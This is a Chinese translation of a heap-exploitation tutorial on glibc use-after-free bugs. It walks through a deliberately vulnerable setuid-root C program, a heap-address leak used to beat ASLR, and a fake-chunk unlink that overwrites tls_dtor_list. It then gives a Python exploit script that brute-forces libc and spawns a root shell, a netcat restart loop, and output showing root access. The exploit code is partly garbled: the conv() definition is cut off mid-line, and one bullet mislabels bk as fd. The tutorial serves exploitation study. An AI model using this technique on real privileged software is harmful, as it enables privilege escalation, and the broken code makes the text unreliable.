# 释放后使用

> 译者：[飞龙](https://github.com/wizardforcel)

> 原文：[Use-After-Free](https://sploitfun.wordpress.com/2015/06/16/use-after-free/)

预备条件：

1.  [Off-By-One 漏洞（基于栈）](http://bbs.pediy.com/thread-216954.htm)
2.  [理解 glibc malloc](http://blog.csdn.net/maokelong95/article/details/51989081)

VM 配置：Fedora 20（x86）

> 什么是释放后使用（UAF）？

继续使用已经被释放的堆内存指针叫做释放后使用。这个漏洞会导致任意代码执行。

漏洞代码：

```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}
```

编译命令：

```
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
```

注意：不像上一篇文章，ASLR 在这里是打开的。所以现在让我们利用 UAF 漏洞，因为 ASLR 打开了，让我们使用信息泄露和爆破技巧来绕过它。

上面的漏洞代码包含两个 UAF 漏洞，位于行`[6]`和`[13]`。它们的堆内存在行`[5]`和`[10]`释放，但是它们的指针即使在释放后也使用，在行`[6]`和`[13]`。行`[6]`的UAF 会导致信息泄露，而行`[13]`的 UAF 导致任意代码执行。

> 什么是信息泄露？攻击者如何利用它？

在我们的漏洞代码（行`[6]`）中，被泄露的信息是堆地址。这个泄露的对地址会帮助攻击者轻易计算出随机化堆段的基地址，因此绕过 ASLR。

为了理解堆地址如何泄露的，让我们首先理解漏洞代码的前半部分。

+   行`[1]`为`name`分配了 16 字节的堆内存区域。
+   行`[2]`位`details`分配了 16 字节的堆内存区域。
+   行`[3]`将程序的参数 1（`argv[1]`）复制到堆内存区域`name`中。
+   行`[4]`和`[5]`将堆内存区域`name`和`details`释放给 glibc malloc。
+   行`[6]`的`printf`在释放后使用`name`指针，这会导致堆地址的泄露。

阅读预备条件中的文章之后，我们知道，对应`name`和`details`指针的块都是 fast 块，并且，当这些 fast 块被释放时，它们储存在 fast bin 的下标 0 处。我们也知道，每个 fast bin 都包含一个空闲块的单链表。因此对于我们的示例来说，fast bin 下标 0 处的单链表是这样：

```
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
```

由于这个单链表。`name`的前四个字节包含`details_chunk`地址，因此在打印`name`时，`details_chunk`地址首先被打印。我们可以从堆布局中知道，`details_chunk`位于堆基址的 0x10 偏移处。因此从泄露的堆地址减去 0x10，我们就得到了堆的基址。

> 如何实现任意代码执行？

现在获得随机化堆段的基址之后，让我们看看如何通过理解漏洞代码的后半部分，来实现任意代码执行。

+   行`[7]`为`tmp`分配了 16 字节的堆内存区域。
+   行`[8]`为`p1`分配了 1024 字节的堆内存区域。
+   行`[9]`为`p2`分配了 1024 字节的堆内存区域。
+   行`[10]`将堆内存区域`p2`释放给 glibc malloc。
+   行`[11]`为`p2_1`分配了 512 字节的堆内存区域。
+   行`[12]`为`p2_2`分配了 512 字节的堆内存区域。
+   行`[13]`的读取在释放后使用了`p2`指针。
+   行`[14]`将堆内存区域`p1`释放给 glibc malloc。这会在程序退出时导致任意代码执行。

阅读预备条件中的文章之后，我们知道，当`p2`释放给 glibc malloc 时，它会和 top 块合并。之后为`p2_1`请求内存时，它会从 top 块分配 -- `p2`和`p2_1`包含相同的堆地址。之后为`p2_2`请求内存时，它也从 top 块分配 -- `p2_2`是`p2`之后的 512 个字节。因此在行`[13]`中，`p2`指针在释放后使用时，攻击者控制的数据（最大 1019 字节）会复制到`p2_1`，它的大小只有 512 字节，因此剩余的攻击者数据会覆盖下一个块`p2_2`，允许攻击者覆盖下一个块头部的`size`字段。

堆布局：

![1](http://upload-images.jianshu.io/upload_images/118142-7d4e4dd13705e2ee.png)

我们在预备条件中的文章中看到，如果攻击者成功覆盖了下一个块的`size`字段的 LSB，它就可以欺骗 glibc malloc 来 unlink 块`p2_1`，即使它处于分配状态。在相同文章中，我们也看到，当攻击者精心构造伪造的块头部时，unlink 一个处于已分配状态的 large 块会导致任意代码执行。攻击者可以像这样构造伪造的块头部：

+   `fd`应该指向释放的块地址。从堆的布局中我们可以看到，`p2_1`位于偏移 0x410。所以`fd = heap_base_address + 0x410`，`heap_base_address`从信息泄露的 bug 中获取。

+   `bk`也应该指向释放的块地址。从堆的布局中我们可以看到，`p2_1`位于偏移 0x410。所以`fd = heap_base_address + 0x410`，`heap_base_address`从信息泄露的 bug 中获取。

+   `fd_nextsize`应该指向`tls_dtor_list – 0x14`。`tls_dtor_list`属于 glibc 的私有匿名映射区段，它是随机化的。因此为了绕过这个随机化，让我们使用爆破技巧，就像下面的利用代码那样。
+   `bk_nextsize`应该指向堆内存，该内存包含`dtor_list`元素。`system`的`dtor_list`由攻击者注入在这个伪造的块头部后面，而`setuid`的`dtor_list`由攻击者注入在`p2_2`堆内存区域内。从堆布局中我们了解到，`system`和`setuid`的`dtor_list`位于偏移 0x428 和 0x618 处。

使用所有这些信息，让我们编写利用程序来攻击漏洞二进制`vuln`：

利用代码：

```py
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)
```

由于在爆破技巧中，我们需要尝试多次（直到成功）。让我们将我们的漏洞二进制`vuln`运行为网络服务器，并使用 Shell 教程来确保崩溃时自动重启：

```sh
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done
```

执行上述利用代码会给我们 root shell。好的。

```
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
```

参考：

[Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution](http://v0ids3curity.blogspot.in/2015/02/revisiting-defcon-ctf-shitsco-use-after.html)
